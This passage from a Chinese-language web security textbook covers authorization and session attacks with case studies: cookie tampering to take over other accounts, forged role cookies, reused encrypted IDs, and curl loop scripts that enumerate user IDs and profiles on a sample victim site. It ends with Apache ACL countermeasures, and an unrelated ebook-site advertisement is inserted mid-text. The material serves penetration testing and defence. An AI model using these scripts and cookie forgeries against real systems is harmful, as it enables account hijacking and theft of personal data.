如果会话令牌匹配这些值，你就可以领会其生成的方法。尽管这个例子说明的是手工进行这个过程的方法，但是很容易开发自动化测试值生成以及与目标值比较的简单脚本。

使用MD5和其他散列算法的网站常常插入随机的数据或者其他动态生成的值来挫败这种暴力猜测攻击。例如，生成令牌的一种更安全（尤其是令牌基于用户密码时）的方式，包括了将密码与另一部分机密数据（常称为“盐”）和时间戳相连：

MD5( epoch time + secret + password )

在开头放置最动态的数据导致MD5更快“雪崩”。雪崩效应意味着两个仅仅略有不同的种子值将会生成两个大不相同的散列值。幸好恶意的用户仅仅拥有三段种子值中的一段。找到纪元时间的正确值也不太难（它只有100个可能取值），但是服务器的机密可能难以猜测。暴力攻击是可行的，但是只要正确地选取服务器机密值，攻击就很难成功。

仅使用服务器的机密和用户密码是安全性“较低”（“较高”和“较低”在加密中的定义很不明确）但同样可行的一种方法：

MD5( secret + password )

在这种情况下，攻击者将只需要猜测服务器的机密值就能够破解目标会话/授权令牌的生成方法。如果机密包含少数几个字符、是常用的密码、词典单词或者短语，那么成功的攻击是可以想见的。

对分析和领会会话/授权令牌值生成方式采取的方法也同样适用于加密值。

比特翻转（Bit Flipping）

这种攻击可能从留意一组加密值的趋势中得利。例如，你可能收集了一系列仅有某些部分不同的会话令牌：

46Vw8VtZCAvfqpSY3FOtMGbhI
4mHDFHDtyAvfqpSY3FOtMGbjV
4tqnoriSDAvfqpSY3FOtMGbgV
4zD8AEYhcAvfqpSY3FOtMGbm3

每个值都以数字4开始。如果这些是加密值，那么前导的4可能不是被加密的部分。在4之后是8个随机的字节，然后是14个不变的字节，最后是两个随机字节。如果这是一个加密字符串，那么我们可以对其内容进行有根据的猜测。我们假定它使用三重DES加密，因为DES公认比较脆弱：

字符串 = 固定数字 + 3DES(nonce) + 3DES(用户名 (+ 标志)) + 3DES(计数值)
4　　8字节　　14字节　　2字节

以下是我们做出这个假设的原因：

·8个字符的部分总是变化。该值是加密的，所以我们无法知道它们是递增、递减还是真正随机的。不管怎么说，来源肯定是变化的，所以我们将其看作随机值。

·14个字节保持不变。这意味着加密数据来自于一个静态的来源，可能是用户名、名字或者“给我一个邮件提醒”的标志。

·最后两个字节未知。数据很短，所以我们可以猜测它只是一个计数器或者类似的值，会改变但不代表太多信息。它也可能是前面的数据的校验和，用于确保cookie没有遭到篡改。

用这些信息，攻击者可以进行“比特翻转”攻击：盲目地改变加密串的一部分，监视应用表现的变化。我们来看看cookie示例和三次修改：

原始: 4zD8AEYhcAvfqpSY3FOtMGbm3
修改 1: 4zD8AEYhcAAAAAAAAAAAAAAm3
修改 2: 4zD8AEYhcBvfqpSY3FOtMGbm3
修改 3: 4zD8AEYhcAvfqpSYAvfqpSYm3

我们将攻击集中在静态的14字节部分。第一种情况，尝试相似的字符。如果cookie在登录页面上被接受，那么我们知道服务器并不在这部分数据里检查验证凭据。如果cookie在查看用户简档的页面上被拒绝，我们可以猜测这个部分包含一些用户信息。

在第二种情况下，我们修改一个字符。现在我们必须提交cookie到应用的不同部分，看看它在哪里被接受，哪里被拒绝。它可能代表着用户和超级用户的一个标志，你永远不知道。（但是你可能会很幸运！）

第三种情况，我们重复字符串的前一半。格式可能是用户名：密码。如果做了这个改变，猜测结果是用户名：用户名，而登录页面拒绝，我们可能就已经走在正确的道路上了。这种方法有可能变成漫长、无尽的猜测。

如果需要帮助加解密的工具，可以尝试UNIX的crypt函数、Perl的Crypt::DES模块以及mcrypt程序库（http://mcrypt.hellug.gr/）。

5.3.3　捕捉/重放

正如你所看到的，预测攻击通常是“全有或全无”的命题：要么应用开发人员犯了某些错误，令牌很容易地成为直觉猜测以及/或者适当的自动化分析的猎物；要么对于攻击者难以辨认，攻击者必须转向其他攻击方法。

攻击者避开令牌分析的所有复杂性的方法之一是简单地重放另一个用户的令牌。如果成功，攻击者实际上就成为那个用户。

这种捕捉/重放攻击在一个关键的方法上不同于预测：和猜测或者逆向工程一个合法的令牌不同，攻击者必须通过一些其他方法获得一个令牌。有一些经典的方法能够做到，包括窃听、中间人和社会工程。

窃听是任何基于网络的应用都面对的威胁。流行的免费网络监控工具，如Wireshark（以前叫做Ethereal）和Ettercap，可以嗅探原始网络流量，从线路上获得Web应用会话，泄露和重放任何授权数据。

在合法客户端和应用之间放置一个“中间人”也可以达到同样的效果。例如，如果一个攻击者侵入ISP上的一个代理服务器，就能访问所有使用该代理的客户的会话ID。如果代理负责HTTPS连接或者攻击者成功地欺骗远程用户接受无效的SSL证书，这样的攻击还可能造成对常规的加密会话的侵害。

最后，一种简单但往往有效的获取有效会话ID的方法是简单地向可能的受害者索要。正如我们在前面关于查询串中的敏感数据的讨论中所说的，不熟练的用户可能受骗，通过包含这些数据的电子邮件发送URI……这又一次提醒在查询串中存储敏感数据的危险！

5.3.4　会话完成

2002年12月，ACROS Security发布了关于会话完成的一篇文章，他们以此命名了一类攻击，攻击者为受害者选择会话ID，而不是用其他方法猜测或者捕捉（链接参见“参考与延伸阅读”）。

会话完成的工作方式如下：

1.攻击者登录一个有漏洞的应用，建立一个用于“困住”受害者的有效会话ID。

2.接着，他说服受害者登录同一个应用，使用相同的会话ID（ACROS的文章讨论了各种实现这一目的的方法，但是最简单的方案是简单地在邮件中发送给受害者一个查询串中带有陷阱会话ID的指向应用的链接）。

3.一旦受害者登录到应用，攻击者重放相同的会话ID，实际上劫持了受害者的会话（有人会说是受害者登录到攻击者的会话上）。

会话完成看上去像是攻击者美梦成真，但是这种攻击中的两个方面使得它不像原来宣传的那么有吸引力：

·攻击者必须说服受害者启动一个URL，用“陷阱”会话ID登录到应用。但是，如果你能够欺骗某人装入一个URI，那么就可以对他们作比修复一个会话ID更糟的事情。

·攻击者必须在受害者注销或者会话到期之前使用相同的陷阱会话ID登录到应用中（当然，如果Web应用不能恰当地处理陈旧的会话，就可能有个开放的窗口）。

会话完成对策

对于会话完成攻击也有一个实际上很简单的对策：对于每次成功的登录（也就是验证之后）生成新的会话，而且只允许服务器选择会话ID值。最后，使用服务器端逻辑确保会话超时，并设置绝对会话期限。

虽然会话完成漏洞曾经常见于Web应用（甚至在某些流行的Web应用框架中），但这种漏洞类型由于开发人员将大部分会话生成和管理委托给Web应用服务器，已经大体上过时了。当然，在安全评审中，应该检查自定义会话生成和管理功能，以发现这种漏洞和其他会话相关的漏洞。

注意　这些对策都纯粹是应用级的；Web平台不会保护你免遭会话完成攻击。

5.4　授权攻击案例研究

现在你已经了解了攻击Web应用授权和会话管理的基本技术，我们来简单地看看来自作者咨询工作的一些实例，阐述如何结合各种技术，识别和利用授权漏洞。

我们接下来将要详述的许多轻率的方案随着整体安全意识的提升以及成熟的授权/会话管理框架（如ASP.NET和J2EE）的成长，正在变得越来越不常见。但是，现在仍有数目惊人的应用遭受类似于我们在下面的小节中讨论的攻击。

注意　显然，本章中的名称和确切的技术细节已经改变，以保护相关方的机密。

5.4.1　水平权限提升

水平权限提升是利用一个授权漏洞，获得与应用中同等用户相同或者较少的权限（与我们将在5.4.2节中讨论的更危险的垂直提升至更高权限相反）。我们使用一个虚构的Web购物应用作为例子，来看看识别这样一个授权漏洞的过程。首先，我们将设置浏览器，这样你可以使用第1章中讨论过的任意HTTP分析工具查看和操纵Web应用的所有输入和输出。然后，我们导航到该网站，立即着手识别网站创建新账户的方式。这非常简单，因为“建立新账户”功能就在现有用户登录的位置上（这些应用通常很渴望注册新的购物者！），如图5-7所示。

图5-7　建立新账户功能通常就在应用登录屏幕上

和大部分实用的Web购物应用类似，这个应用使用询问各种类型个人信息的表单来完成账户创建。我们确保适当地填写所有信息（不！）。临近这一过程的结尾，我们看到了结束或者创建账户选项，但是我们没有马上点击它，而是转向HTTP分析工具并且清除任何请求，这样我们就有了一块干净的黑板。现在可以继续点击按钮结束账户创建，这时的屏幕如图5-8所示。

图5-8　成功的账户创建

使用我们的分析工具，仔细地以原始HTTP格式查看发送到服务器的请求。这是创建账户的实际POST操作：

POST /secure/MyAcctBilling.asp HTTP/1.1
Host: secure2.site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
Cookie: 20214200UserName=foo%40foo%2Ecom; 20214200FirstName=Michael;
BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; LastURL=
http%3A%2F%2Fwww%2Esite%2Ecom; ASPSESSIONIDQAASCCQS=
GKEMINACKANKBNLFJAPKNLEM
stealth=1&RegType=1&UserID=&Salutation=Mr&FirstName=Michael&LastName=
Holmes&EmailAddress=foo@foo.com&Password1=testpassword&Password2=
testpassword&DayPhone1=678&DayPhone2=555&DayPhone3=555&AltPhone1=
&AltPhone2=&AltPhone3=&Address1=294+forest+break+lane&Address2=&City=
atlanta&State=GA&Country=United+States&PostalCode=30338&CCName=0&CCNum=
&CCExpMonth=0&CCExpYear=0000&update_billing_info=on&submit.x=
43&submit.y=13

下面是来自服务器的响应：

HTTP/1.x 302 Object moved
Set-Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; path=/
Set-Cookie: UserID=2366239; path=/
Set-Cookie: ShopperID=193096346; path=/
Set-Cookie: 20214200UserName=foo@foo.com; path=/
Date: Wed, 12 Oct 2010 18:13:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: https://secure2.site.com/secure/MyAcctBillingSuccess.asp?r=1
Content-Length: 185
Content-Type: text/html
Cache-Control: private

我们在本章前面已经说过，cookie通常包含用于识别会话的授权信息，所以我们留意一下这个响应中的Set-Cookie值。表5-7中总结了这些值。

表5-7　从我们的虚构Web购物应用中收集的cookie信息

注意，ShopperID和UserID看上去很有希望。这些cookie名相当明显地指出了与授权的关系，对应值为数字，这意味着每个数值都可能是简单操纵攻击（下一序列反复等）的对象。

现在我们的任务是领会这些cookie实际的使用方式，以及ShopperID和UserID令牌是否如我们所想。为此，我们必须重放这些cookie到应用中，同时针对那些误用之后可能导致权限提升的功能。在本章的前面我们已经讲过，Web授权中最常被误用的方面是账户管理界面，尤其是自助功能。按照这一想法，我们直奔Web应用中让用户查看和编辑自身账户信息的界面。使用Hewlett Packard的HTTP Editor（购买了他们的WebInspect产品就能够找到），我们分析了这个界面的底层HTTP，同时遍历了应用的图形化HTML界面，如图5-9所示。

使用这种自助功能，我们利用之前找到的仿冒授权cookie进行了一些重放测试。下面是它们从客户端重放到服务器时HTTP首部的样子：

Cookie: 20214200UserName=foo%40foo%2Ecom; 20214200FirstName=Michael;
BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000; LastURL=
http%3A%2F%2Fwww%2Esite%2Ecom; ShopperID=193096346;
ASPSESSIONIDQAASCCQS=GKEMINACKANKBNLFJAPKNLEM; UserID=2366239

为了验证我们对ShopperID和UserID用于授权决策的猜测，现在开始单独删除每个cookie并且发回请求。删除UserID cookie时，服务器仍然响应图5-8中的账号注册页面。因此，这个cookie现在对我们的任务不重要。我们为每个cookie重复前面的步骤，直到最终删除一个cookie的响应是HTTP 302 redirect，这告诉我们删除的令牌对于验证是必需的。当我们删除ShopperID cookie时，最终得到下面的响应：

HTTP/1.1 302 Object moved
Date: Wed, 12 Oct 2010 18:36:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: /secure/MyAcctLogin.asp?sid=
Content-Length: 149
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQAASCCQS=OOEMINACOANKOLIIHMDAMFGF; path=/
Cache-control: private

这告诉我们ShopperID cookie最可能是应用授权令牌。

图5-9　使用Hewlett Packard的HTTP Editor分析虚构Web购物应用的账户编辑界面

注意　在这个网站上，我们实际上发现BIGipServer cookie也能导致失败的授权，但是因为我们知道BIG-IP是F5 Networks公司的一个Web负载平衡产品，所以不考虑它。但以后确实必须回放BIGip令牌，因为它对与此网站的通信是必需的。

这时，我们可以修改ShopperID cookie值并重放到服务器来测试其漏洞。因为我们刚刚创建了账户，将ShopperID数从193096346递减为193096345，看看能否访问在我们之前创建的账户。下面是修改之前的客户cookie首部：

Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000;
ShopperID=193096346;

下面是有新ShopperID值的首部：

Cookie: BIGipServerSecure2.TEAM.WebHosting=1852316332.20480.0000;
ShopperID=193096345;

我们发送第二个递减的值到服务器，检查是否返回相同的账户信息。成功！图5-10显示“Emily Sima”的账户数据。我们已经找出了一个水平权限提升漏洞，而且，攻击者现在可以枚举所有账户并且获得个人数据，甚至以任何用户的所有账户权限进行仿冒。

图5-10　成功！现在可以改变另一个账户的信息

5.4.2　垂直权限提升

垂直权限提升是升级或者获得更高账户状态或者权限水平的能力。有4种典型的场景导致垂直权限提升：

·用户可修改的角色：应用不恰当地允许未授权用户改变其角色信息。

·劫持账户：发生在未授权用户可能劫持另一个特权用户的账户或者会话时。

·利用其他安全缺陷：通过其他安全缺陷获得管理区域的访问权，修改权限的能力。

·不安全的管理功能：没有正确授权的管理功能。

我们来看看现实中以上场景的实例。

用户可修改的角色

我们在本章中已经多次看到，许多Web应用在用户可修改的位置存储授权数据，如权限级别或者角色级别。我们刚刚看到一个Web购物应用将角色信息以普通文本值存储在cookie中。举一个具有垂直提升风格的相似例子，考虑一个虚构的Web应用，特权管理界面在http://www.site.com/siteAdmin/menu.aspx。当我们正常地访问这个页面时，服务器响应HTTP 302 redirect，回到管理登录屏幕。对HTTP的进一步分析揭示了从客户端向服务器传递了如下cookie：

Cookie: Auth=
897ec5aef2914fd153091011a4f0f1ca8e64f98c33a303eddfbb7ea29d217b34;
Roles=End User; HomePageHits=True;ASP.NET_SessionId=
dbii2555qecqfimijxzfaf55

Roles=End User值几乎就是这个应用将授权参数暴露给客户端操纵的确凿证据。为了测试能否操纵Roles cookie进行垂直权限提升攻击，我们用不同的Roles值，如Roles=admin、Roles=root和Roles=administrator，向应用服务器重发请求。在多次失败的尝试之后，我们更仔细地审视命名惯例，并且尝试Roles=Admin User，这导致了对管理页面的正常访问。令人伤心的是，我们在现实世界中的测试经历充满了更简单的场景，只要在URL中附加admin=true或admin=1就行了。

让我们来看一个更有挑战性的例子。在下面的虚构Web应用中，我们以普通用户登录到应用。在每个请求中发送的cookie看上去是这个样子：

Cookie: ASPSESSIONIDAACAACDA=AJBIGAJCKHPMDFLLMKNFLFME; X=
C910805903&Y=1133214680303; role=ee11cbb19052e40b07aac0ca060c23ee

我们立刻注意到名为role=的cookie，但是因为这个值的加密特性（又是一大串的字母数字！），我们在这里没有停留太久。在后续的水平提升测试中，我们创建第二个账户，以便进行差异分析（本章前面已作描述）。登录第二个账户时，每个请求所携带的cookie如下：

Cookie: ASPSESSIONIDAACAACDA=KPCIGAJCGBODNLNMBIPBOAHI; C=0&T=
1133214613838&V=1133214702185; role=ee11cbb19052e40b07aac0ca060c23ee

注意到什么不寻常的？role cookie和我们创建的第一个账户相同，说明这个值是静态的，不是为每个用户专门生成的。实际上，更仔细地观察发现，它类似于一个MD5 hash。Role值中的字符数为32个字符，你可以回忆一下我们之前对会话ID指纹识别的讨论，32字节值是代表MD5 hash的公认方法之一（是128位MD5 hash的十六进制表示）。这时，我们估计应用用户使用固定的role值，然后使用MD5算法计算散列值。

我的天！这可怕的密码。仅仅停下来一会儿，我们就实施了本质上和以前一样的权限提升攻击，将cookie改为role=admin，只使用MD5计算admin的散列值。计算散列并插入到请求之后，我们发出的cookie如下：

Cookie: ASPSESSIONIDAACAACDA=KPCIGAJCGBODNLNMBIPBOAHI; C=0&T=
1133214613838&V=1133214702185; role=21232f297a57a5a743894a0e4a801fc3

同样，role=的值是使用MD5计算的admin散列值。当我们用这个cookie请求账户主屏幕时，应用发回一个“302 redirect”，回到登录页面——不行。经过几次使用“administrator”和“root”（通常的嫌疑）的MD5 hash的人工尝试，我们决定继续前进，编写一个脚本自动化这个进程，从一个常见用户账户名词典中读取。同样，如果应用返回一个不为302 redirect的响应，那么我们就发现了正确的角色。这一进程没有花费太长的时间；运行这个脚本之后大约5分钟，我们发现Supervisor是正确的角色名，它为我们提供了应用的超级用户权限。

使用劫持的账户

水平权限提升通常很容易变成垂直提升。例如，如果授权令牌使用顺序标识符实现（就像你在前一个虚构Web购物网站示例中看到的），那么发现垂直权限提升的机会可能容易得只需猜测最低的有效账户ID，这个账户通常属于超级用户，因为这些账户一般最早创建。通常，较低的账户ID是开发人员或者应用管理员的账户，许多时候这些账户具有较高的权限。我们将在接下来的关于使用cURL映射权限的小节中讨论用顺序猜测识别管理账户的系统方法。

利用其他安全缺陷

这只是一个假设。通过其他安全缺陷如COTS组件中的缓冲区溢出或者SQL注入通常足于做出提升你的账户所需要的改变。例如，无处不在的Web统计页面泄露出管理界面的位置http://www.site.com/cgi-bin/manager.cgi，而这种页面不需要任何验证（我们在第8章中讨论寻找Web统计页面的常见方法）。你不信？别这么想——在我们多年的Web应用渗透测试的经历中，这种事例太经常发生了。

不安全的管理功能

在我们的经历中，我们发现许多Web应用的管理功能没有合适的验证或者授权。例如，考虑一个应用，用POST调用脚本http://www.site.com/admin/utils/updatepdf.asp，明显这是基于其存储文件夹的管理脚本。应用开发人员大概是这么想的：脚本应该只能从网站的管理部分访问，而管理部分需要验证。当然，具有修补倾向和在猜测目录命名惯例上有点运气的潜在入侵者很容易找到/admin/utils目录。对updatepdf脚本作点简单的操作就能指出它用ID号和文件名作为参数，将一个PDF文件上传到网站。即使作为普通用户运行，这个脚本也能替换任何当前提供给用户的PDF，就像你是合适的内容管理人员一样。拒绝服务就是在此之上编写出来的。更具有毁灭性的是，我们最终能够使用updatepdf脚本上传自己的ASP页面，这使我们几乎具有服务器的全部权限。

5.4.3　差异分析

我们在本章已经两次讨论过了差异分析的概念（它与授权审计相关）。本质上，它包括在目标网站上爬行，同时使用不同账户验证（或者不验证），注意参数如cookie和/或授权/状态跟踪数据的差异。

我们最近的一次咨询经历凸显了这种技术的使用。我们签约进行一次验证评估，客户提供了两组有效的凭据：一个“标准”应用用户和一个管理用户。我们首先爬行该网站，同时以标准用户验证，登录所有页面，提交所有表单。然后使用管理凭据进行了同样的工作。我们分类两个数据集并且计算每种类型提交数据的总和，结果如表5-8所示。

表5-8　浏览Web应用同时以标准和管理用户登录的差异分析结果

根据这一数据，最明显的攻击是尝试用标准用户账户访问管理表单和页面。这里没有捷径；我们所遇到的页面似乎都受到很好的保护。

接下来我们仔细地从会话管理中观察标准和管理角色的差异。如表5-8所示，标准和管理用户都从应用接受相同数量的cookie。这意味着会话/角色授权可能与一个cookie相关。使用前面描述的水平权限提升案例研究中的cookie排除过程，我们能够识别一个cookie似乎执行授权功能。表5-9显示了标准和管理用户的相应cookie值。

表5-9　标准和管理用户类型的Cookie值

下一步，我们分析标准和管理cookie之间的差异。花费几分钟查看表5-9中的cookie，看看你是否能领会我们列出的观察结果：

·cookie值使用句号分段。

·第1、3、4段长度相同，全是数字。

·第2段可能是MD5 hash（32个字节长；参见前面的5.1.3节“分析会话令牌”）。

·每个用户的每一段有同样的长度。

·每个用户第1段的头3个数字相同。

尽管我们可能已经收集了用于生成第2段的算法，但是这种粗略的分析还没有真正揭示出有用的内容，所以我们进一步探查。我们系统性地修改cookie中的值并将其重新提交到应用中。我们从改变cookie最后一段的值开始，然后按照自己的方法继续。表5-10显示了测试的一些结果。我们对表5-10中数据的解读是，最后一段对授权没起什么作用。

我们对cookie中的每一段重复这个过程，完成时，我们惊讶地发现，似乎只有cookie的前5个字符似乎与授权状态相关。回顾表5-9，在cookie的前5个字符中，标准和管理用户账户之间的唯一差异是第5个字符的位置：管理用户为0，标准用户为1。

利用更多的输入操纵，我们随后发现了第5个位置包含了连续递增的账户号，通过修改这个号码，我们能够轻松地劫持其他用户的会话。

表5-10　对jonafid cookie输入校验检查的结果

5.4.4　当加密失败时

随着安全意识的增加，更多的开发人员使用安全技术来保护应用、系统和用户免遭恶意方的侵害。但是，开发人员仅仅是采用了安全技术，并不意味着他们能够正确地使用。以加密为例，使用加密主要是为了保护被加密数据的机密性。如果加密没有真正的必要性，就不应该使用，因为可能降低性能并且使应用设计复杂化。

作为不恰当的加密提供虚假安全感的例子，考虑一个可通过类似下面的链接访问用户简档页面的应用：

http://hackx/userprofile/userprofile.aspx?uid=ZauX%2f%2fBrHY8%3d

注意以上URL中的uid值。参数uid几乎肯定代表着“用户ID”，包含对应应用中单个用户的唯一值。通常，这些值是顺序的正整数，直接映射到后端数据库中使用的主键值（这不是建议的方式，而是一种常见的容易出错的方式）。在上述URL中，该值不是正整数而是复杂的字符串。尽管不清楚实际上的数值，但是读者应该受到提示，有可能该值是Base64编码，因为末尾有URL编码的%3d（=）。后续对该值的解码生成似乎是随即的8字节字符串，说明该值可能是加密的。

使用本章中讨论过的一些技术攻击这个值可能有好处，也可能一无所获；考虑到8个字节的长度，随机的比特翻转和暴力法是否更简单？攻击这个功能的关键是认识到保护系统中其他对象（如唯一的产品和类别ID）的加密方案也用于uid值。例如，如果你假定加密的uid值的原值是对应于后端数据库表中用户行主关键字的一个整数，那么其他加密的对象ID也是其对应表的主关键字值。这意味着我们可能在对应用的请求中使用加密的产品ID作为一个uid值，并且获得对另一个用户的记录的访问权。为了测试这种攻击是否有效，所需要做的是收集一些加密的产品和类别ID，将它们作为请求用户简档页面userprofile.aspx的uid值。经过这种方法的重复试验，我们发现了宝藏，并且成功地访问了另一个用户包含有趣的个人详细情况的简档。

当然，这个漏洞的根源是控制用户简档页面访问权的授权控制不安全，和使用加密算法的强度无关。最终，访问其他用户的简档必须通过检查请求用户的身份和角色，使用的方法不能仅仅是查询串中简单的uid值。在安全的应用中，当前用户的uid将紧密地与当前已验证的会话关联，通过在应用请求中提供uid值来重载这种关系的企图将会被忽略。

5.4.5　使用cURL映射权限

cURL是自动化测试的一个奇妙的工具。例如，假设你审核一个顺序发放用户ID的应用。你已经识别了用户查看他的简档信息所必需的会话令牌：uid（数字化的用户ID）和sessid（会话ID）。URL请求是一个GET命令，传递这些参数：menu=4（指出查看简档菜单的数字），userID=uid（用户ID在Cookie和URL中传递），profile=uid（查看的简档，假定是用户自己的）和r=874bace2（用户第一次登录时分配的随机数）。完整的请求如下：

GET /secure/display.php?menu=4&userID=24601&profile=24601&r=874bace2
Cookie: uid=24601; sessid=99834948209

我们已经确定可以修改URL上的userID参数，以便查看其他人的简档（包括修改密码提醒发送的电子邮件地址）。现在，我们知道用户ID是顺序生成的，但是不知道哪个用户属于应用管理员。换句话说，我们必须确定哪个用户ID能够查看任意简档。少量的人工测试可以揭示，如果我们使用错误的profile和userID值的组合，应用将返回“You are not authorized to view this page（你没有查看本页的授权）”，而成功的请求返回“Membership profile for...（...成员简档）”，两者都返回HTTP 200代码。我们将使用两个cURL脚本来自动化这一检查。

第一个cURL脚本用于确定其他用户ID能够查看我们的简档。如果另一个用户能够查看我们的简档，那么就假定它属于管理员。这个脚本测试前100000个用户ID：

#!/bin/sh
USERID=1
while [ $USERID -le 100000 ] ; do
    echo -e "$USERID ******\n" >\> results.txt
    'curl -v -G \
    -H 'Cookie: uid=$USERID; sessid=99834948209' \
    -d 'menu=4' \
    -d 'userID=$USERID' \
    -d 'profile=24601' \
    -d 'r=874bace2' \
    --url https://www.victim.com/ results.txt'
    echo -e "*********\n\n" >\> results.txt
    UserID='expr $USERID + 1'
done
exit

脚本执行之后，我们仍然必须手工搜索results.txt文件以确认成功，但是这很简单，只要运行grep搜索“Membership profile for”。在这个场景中，用户ID1001、19293和43000能够查看我们的简档——我们发现了3个管理员！

接下来，我们将使用第二个脚本，通过顺序检查简档列举所有使用中的用户ID。这次保持userID不变而递增profile值。我们使用管理员用户ID 19293：

#!/bin/sh
PROFILE=1
while [ $PROFILE -le 100000 ] ; do
    echo -e "$PROFILE ******\n" >\> results.txt
    'curl -v -G \
    -H 'Cookie: uid=19293; sessid=99834948209' \
    -d 'menu=4' \
    -d 'userID=19293' \
    -d 'profile=$PROFILE' \
    -d 'r=874bace2' \
    --url https://www.victim.com/ results.txt'
    echo -e "*********\n\n" >\> results.txt
    UserID='expr $PROFILE + 1'
done
exit

一旦脚本结束运行，我们就已经列举了应用中每个活跃用户的简档信息。

再一次审视URL的查询串参数（menu=4&userID=24601&profile=24601&r=874bace2）之后，我们又想起了第三种攻击。目前我们已经以低权限用户访问了应用。也就是说，我们的用户ID号24601已经有了有限数量的菜单选项的权限。另一方面，用户ID号为19293的管理员可能有更多可用的菜单选项。我们没有管理员的用户密码，因而无法以其身份登录。但是，我们已经看到了应用的用于低权限用户的部分。

第三次攻击很简单。我们修改cURL脚本枚举应用的菜单值。因为我们不知道结果，所以创建这个脚本，从命令行接受菜单号并且将服务器的响应打印到屏幕：

#!/bin/sh
# guess menu options with curl: guess.sh
curl -v -G \
    -H 'Cookie: uid=19293; sessid=99834948209' \
    -d 'menu=$1' \
    -d 'userID=19293' \
    -d 'r=874bace2' \
    --url https://www.victim.com/

下面是执行脚本的方法：

$ ./guess.sh 4
$ ./guess.sh 7
$ ./guess.sh 8
$ ./guess.sh 32

表5-11展示了手工测试的结果。

表5-11　在查询串参数“menu”中进行人工参数注入的结果

这个例子中我们跳过了一些号码，但是看起来2的幂次（4，8，16，32）都返回不同的菜单。这在某种程度上是有意义的。应用可能使用8位的掩码来代表特定的菜单。例如，简档菜单用二进制表示为00000100（4），而删除用户为00100000（32）。位掩码只是引用数据的一种方法。这个例子有两个要点。第一，检查所有的应用参数，以便测试全部的功能。第二，寻找应用中的趋势。趋势可能是命名惯例或者数字的连续性，正如我们在这里看到的。

还有最后一种攻击我们尚未尝试——枚举sessid值。这些cURL脚本很容易修改成枚举有效的sessid值；我们将这留给读者作为练习。

在结束cURL的讨论之前，我们来研究一下这些攻击成功的原因：

·拙劣的会话处理：这个应用跟踪sessid cookie和URL中的r值；但是，应用没有将这些值与用户ID号关联。换句话说，一旦我们验证到应用，需要保持验证的就是sessid和r值。uid和userID值用于检查授权——账户是否能够访问特定的简档。通过破坏授权令牌（uid、userID、sessid、r）的同步，我们能够仿冒其他用户并且获得访问特权。如果应用检查uid值与初次建立会话时的sessid值匹配，那么应用就能阻止这种攻击，因为仿冒的尝试使用了与uid不能对应的错误sessid。

·没有强制的会话超时：应用没有在6个小时之后使会话令牌（sessid）到期。这是很复杂的一点，因为从技术上在列举100000个用户期间，会话都是活跃的。但是，应用仍然可以强制会话的绝对超时值，比如一个小时，并且要求用户重新验证。重新验证并不能阻止攻击，但是在会话ID被劫持或者盗用时对于减缓这种危害有帮助。这能够在共享环境（如大学计算机实验室）中保护用户，使攻击者不能取得他们的会话，也能防止会话完成攻击，攻击者无法将会话的失效时间改成不切实际的未来时点。

5.5　授权最佳实践

我们已经介绍了许多Web应用授权攻击。现在，我们怎样减轻这些技术的危害？

在本章中，我们基本上将Web应用授权攻击分成两个阵营：服务器端ACL攻击和客户端令牌攻击。因此，我们的对策讨论也据此分为两个部分。

开始之前，应该列举一些通用的授权最佳实践。在本章中我们已经看到，授权攻击常常因为服务器漏洞（见第3章和第10章）和输入验证（第6章）而发生和加剧。因此，适用于这些潜在漏洞的对策对于阻止一些授权攻击也有正面的影响。

另一个最佳实践是为应用定义清晰、一致的访问策略。例如，设计包含应用功能角色的数据库。读、创建、修改、删除和访问就是这样一些角色。用户的会话信息应该明确地定义可以使用哪些角色。角色表看上去类似一个矩阵，每行定义一个用户，每列定义他们可能的角色。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

5.5.1　Web ACL最佳实践

正如我们所说，Web应用授权的最低要求由ACL提供，特别是文件系统ACL（但是我们将在下面的讨论中介绍其他对象，如HTTP方法上的ACL）。在这个小节中，我们将描述Web ACL配置的最佳实践，然后讨论如何在两个流行的Web平台——Apache和IIS上配置ACL。

Apache授权

Apache Web服务器有两条不同的控制用户访问指定URL的指令。Directory指令用于基于文件路径的访问控制。例如，下面的指令集限制对/admin URL的访问。只有处于Admin组的有效用户可以访问这个目录。注意，密码和分组文件不存储于文档根目录下。

<Directory /var/www/htdocs/admin>
AuthType Digest
AuthName "Admin Interface"
AuthUserFile /etc/apache/passwd/users
AuthGroupFile /etc/apache/passwd/groups
Require group admin
</Directory>

你也可以限制访问某些HTTP命令。例如，HTTP和WebDAV支持多个命令：GET、POST、PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH、PROPFIND、PROPPATCH、MKCOL、COPY、MOVE、LOCK和UNLOCK。WebDAV命令提供网站内容远程管理的一种方法。

即使你对某些目录允许WebDAV，也可以使用Limit指令控制这些命令。例如，仅允许用户页面的GET和POST请求：

<Directory /var/www/htdocs>
Options -MultiViews -Indexes -Includes
Limit GET POST
   Order allow,deny
   Allow from all
/Limit
</Directory>

这样，用户在请求/htdocs目录中的页面时仅能使用GET和POST命令。HEAD命令被当作GET。现在，如果你希望为特定目录启用WebDAV选项，可以按照如下的设置：

<Directory /var/www/htdocs/articles/preview>
AuthType Digest
AuthName "Author Site"
AuthUserFile /etc/apache/passwd/users
AuthGroupFile /etc/apache/passwd/groups
Limit GET POST PUT CONNECT PROPFIND COPY LOCK UNLOCK
Require group author
/Limit
</Directory>

我们没有允许所有WebDAV选项可用，但是应该足以让希望访问Web应用这个部分的author组用户使用。

Location指令用于基于URL的访问控制，它不要求特定的文件位置：

<Location /member-area>
AuthType Digest
AuthName "My Application"
AuthUserFile /etc/apache/passwd/users
AuthGroupFile /etc/apache/passwd/groups
Require valid-user
</Location>

<Directory>标记中允许的任何指令对<Location>标记都有效。

IIS授权

